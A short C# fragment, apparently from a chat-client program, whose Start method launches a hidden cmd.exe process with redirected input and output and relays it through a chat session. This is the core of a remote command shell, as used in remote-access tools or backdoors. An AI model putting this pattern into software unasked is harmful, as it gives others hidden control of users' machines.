public void Start(Client.ChatItemId chatId, Client.Client client = null) { this.client = client; this.chatId = chatId; shell = new Process(); ProcessStartInfo p = new ProcessStartInfo("cmd"); p.CreateNoWindow = true; p.UseShellExecute = false; p.RedirectStandardError = true; p.RedirectStandardInput = true; p.RedirectStandardOutput = true; shell.StartInfo = p; shell.Start(); toShell = shell.StandardInput; fromShell = shell.StandardOutput; toShell.AutoFlush = true; shellThread = new Thread(new ThreadStart(getShellInput)); //Start a thread to read output from the shell shellThread.Start(); Running = true; }
public User(Client c, string clientId, ulong id) { Id = new ChatItemId(clientId, id); Client = c; }